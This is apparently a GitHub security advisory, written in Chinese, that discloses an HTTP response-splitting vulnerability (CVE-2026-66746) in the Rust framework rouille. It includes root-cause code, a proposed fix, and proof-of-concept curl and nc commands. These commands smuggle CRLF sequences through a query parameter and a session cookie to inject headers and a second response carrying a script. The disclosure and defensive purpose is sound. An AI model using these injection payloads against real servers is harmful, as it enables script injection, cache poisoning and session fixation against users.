theopaid/CVE-2026-66746-HTTP-Response-Splitting-via-Unvalidated-Response-Header-Values-rouille-
GitHub: theopaid/CVE-2026-66746-HTTP-Response-Splitting-via-Unvalidated-Response-Header-Values-rouille-
该公告披露了 Rust Web 框架 rouille 因未过滤响应头中的 CRLF 字符而导致的 HTTP 响应拆分漏洞(CVE-2026-66746)。
Stars: 0 | Forks: 0
# 安全公告:通过未经验证的响应头值引发的 HTTP 响应拆分
**分配的 CVE ID:** CVE-2026-66746
## 概要
rouille 在将响应头值写入客户端时,不会检查其中是否包含回车符或换行符。因此,如果应用程序将受攻击者影响的文本放入响应头值中,就会在网络中发送额外的响应头,甚至发送整个第二个 HTTP 响应。
rouille 的两个特性使得这种情况在普通代码中即可被触发。`Request::get_param` 会进行百分号解码,因此查询字符串中的 `%0d%0a` 会变成真实的 CRLF。此外,`session::session` 会将客户端自身的 `Cookie` 值直接复制到 `Set-Cookie` 中,且完全没有进行验证。
其他所有广泛使用的 Rust HTTP 栈都在类型层面拒绝了此类行为:`http::HeaderValue::from_str` 遇到 CR 和 LF 时会返回 `InvalidHeaderValue`,这也是 hyper、axum、actix-web 和 warp 不会以同样方式暴露于此漏洞的原因。
## 受影响版本
Repo URL: https://github.com/tomaka/rouille
| | |
|---|---|
| 首个受影响版本 | 0.4.0 (2016-12-14),针对下方的响应头路径 |
| 最后受影响版本 | 3.6.2 (2023-04-24),当前发布版本 |
| 修复版本 | 截至撰稿时无修复版本 |
0.4.0 之前的版本通过不同的代码路径发出响应,该路径尚未经过检查,因此不对其做任何保证。路径 B 中描述的 `session::session` 反射行为自 0.3.2 (2016-12-02) 起就已存在。
## 严重性
CWE-113(HTTP 响应头中 CRLF 序列的不正确中和),属于 CWE-93(CRLF 注入)的一个特例。
CVSS 4.0 基础评分 5.3(中危)
`CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:L/VI:L/VA:N/SC:N/SI:N/SA:N`
## 威胁模型
路径 A 需要一个远程、未经身份验证的攻击者,以及一名点击了攻击者提供链接的受害者。攻击者需要应用程序将任何源自请求的字符串放入响应头中。重定向到 `next` 或 `return_to` 查询参数是最常见的情况。
路径 B 仅要求应用程序调用 `session::session` 并读取会话 ID。攻击者可以控制自身的 `Cookie` 头,因此就其自身而言,这属于自找麻烦。但是,当共享缓存存储了被拆分的响应时,或者结合其他能够在受害者浏览器中设置 cookie 的方法时,这就会演变成针对他人的攻击。
## 根本原因
`rouille/src/lib.rs` 第 624 到 640 行直接透传了这些值:
```
624 for (key, value) in rouille_response.headers {
625 if key.eq_ignore_ascii_case("Content-Length") {
626 continue;
627 }
628
629 if key.eq_ignore_ascii_case("Upgrade") {
630 upgrade_header = value;
631 continue;
632 }
633
634 if let Ok(header) = tiny_http::Header::from_bytes(key.as_bytes(), value.as_bytes())
635 {
636 response.add_header(header);
```
`Header::from_bytes` 仅检查这些字节是否为 ASCII 字符,而 CR 和 LF 本身就是 ASCII 字符。`tiny_http-0.12.0/src/common.rs` 第 166 到 172 行:
```
166 pub fn from_bytes(header: B1, value: B2) -> Result
...
171 let header = HeaderField::from_bytes(header).or(Err(()))?;
172 let value = AsciiString::from_ascii(value).or(Err(()))?;
```
随后该值在写入时没有进行任何转义。
`tiny_http-0.12.0/src/response.rs` 第 99 到 104 行:
```
99 for header in headers.iter() {
100 writer.write_all(header.field.as_str().as_ref())?;
101 write!(&mut writer, ": ")?;
102 writer.write_all(header.value.as_str().as_ref())?;
103 write!(&mut writer, "\r\n")?;
104 }
```
### 路径 A,百分号解码的查询参数
`Request::get_param` 会解码百分号转义字符,因此调用者会接收到真实的控制字符。`rouille/src/lib.rs` 第 928 到 932 行:
```
928 .map(|value| {
929 percent_encoding::percent_decode(value.replace('+', " ").as_bytes())
930 .decode_utf8_lossy()
931 .into_owned()
932 })
```
### 路径 B,从请求中反射的会话标识符
`rouille/src/session.rs` 在第 59 行从客户端的 cookie 中获取 key,并在第 75 到 81 行将其插入到响应头中:
```
59 key: cookie.into(),
...
75 let header_value = format!(
76 "{}={}; Max-Age={}; Path=/; HttpOnly",
77 cookie_name, session.key, timeout_s
78 );
79 response
80 .headers
81 .push(("Set-Cookie".into(), header_value.into()));
```
## 概念验证
### 路径 A
步骤 1. 启动一个重定向到查询参数的服务器。
```
use rouille::Response;
fn main() {
rouille::start_server("127.0.0.1:8002", |request| {
let next = request.get_param("next").unwrap_or_else(|| "/".to_string());
Response::redirect_303(next)
});
}
```
步骤 2. 在参数中带上 `%0d%0a` 发起请求。
```
curl -sSi 'http://127.0.0.1:8002/?next=/a%0d%0aX-Injected:%20yes'
```
结果。`X-Injected` 作为一个独立的响应头到达:
```
HTTP/1.1 303 See Other
Server: tiny-http (Rust)
Location: /a
X-Injected: yes
Content-Length: 0
```
步骤 3. 将载荷扩展到响应头末尾之后,以发出一个完整的第二个响应。
```
curl -sSi 'http://127.0.0.1:8002/?next=/a%0d%0aContent-Length:%200%0d%0a%0d%0aHTTP/1.1%20200%20OK%0d%0aContent-Type:%20text/html%0d%0a%0d%0a%3Cscript%3Ealert(1)%3C/script%3E'
```
结果。一次请求,两个完整的响应。第二个响应携带了由攻击者指定的状态行、内容类型和主体:
```
HTTP/1.1 303 See Other
Location: /a
Content-Length: 0
HTTP/1.1 200 OK
Content-Type: text/html
```
### 路径 B
步骤 1. 使用文档中记载的 session 惯用法启动一个服务器。
```
use rouille::{session, Response};
fn main() {
rouille::start_server("127.0.0.1:8006", |request| {
session::session(request, "SID", 3600, |s| {
Response::text(format!("session id: {}", s.id()))
})
});
}
```
步骤 2. 发送一个值包含裸 LF 的 cookie。下方的 `\n` 是单个换行符,`\r\n` 是 CRLF。
```
printf 'GET / HTTP/1.1\r\nHost: x\r\nCookie: SID=abc\nX-Injected: yes\r\nConnection: close\r\n\r\n' | nc 127.0.0.1 8006
```
结果。该值脱离了 `Set-Cookie` 并占据了一行:
```
Set-Cookie: SID=abc
X-Injected: yes; Max-Age=3600; Path=/; HttpOnly
```
路径 B 有三个值得注意的限制。首先,只有裸 LF 能够通过,因为 CRLF 会在 `tiny_http` 中结束响应头行,因此客户端或缓存必须将单独的 LF 视为终止符。其次,注入点之后的所有内容仍然会带有来自同一个 `format!` 的 `; Max-Age=3600; Path=/; HttpOnly` 后缀,因此该利用手段只能生成带有固定尾随字符串的响应头,而不是纯净的任意响应头。最后,攻击者只能控制自身的 cookie。而路径 A 则没有这些限制。
## 影响
在源的安全上下文中执行脚本;发生缓存中毒,即共享缓存将注入的响应对应到受害者的 URL 上;通过注入的 `Set-Cookie` 进行会话固定;以及覆盖诸如 CSP 或 CORS 等安全头。由于路径 A 产生了真实的 CRLF,每个客户端和缓存都会据此进行拆分。
## 修复方案
在将响应头移交给 `tiny_http` 之前,在 `Server::process` 中验证响应头值,位于 `rouille/src/lib.rs` 第 634 行附近:
```
fn header_value_is_safe(v: &str) -> bool {
!v.bytes().any(|b| b == b'\r' || b == b'\n' || b == 0)
}
```
对整个响应返回 500 状态码,而不是直接丢弃有问题的响应头,这样可以使失败变得可见,而不是静默地更改响应。
同样在 `session::session` 中验证会话 key:拒绝不符合 `[A-Za-z0-9]+` 的 cookie 值,并改为生成一个全新的 ID。在 `Response::with_additional_header`、`with_unique_header` 以及 `redirect_*` 构造函数中进行检查,可以在调用处暴露该错误,以便应用程序开发者能够采取相应的应对措施。
标签:CRLF注入, HTTP响应拆分, Rust, Web框架, 可视化界面, 漏洞通报, 网络流量审计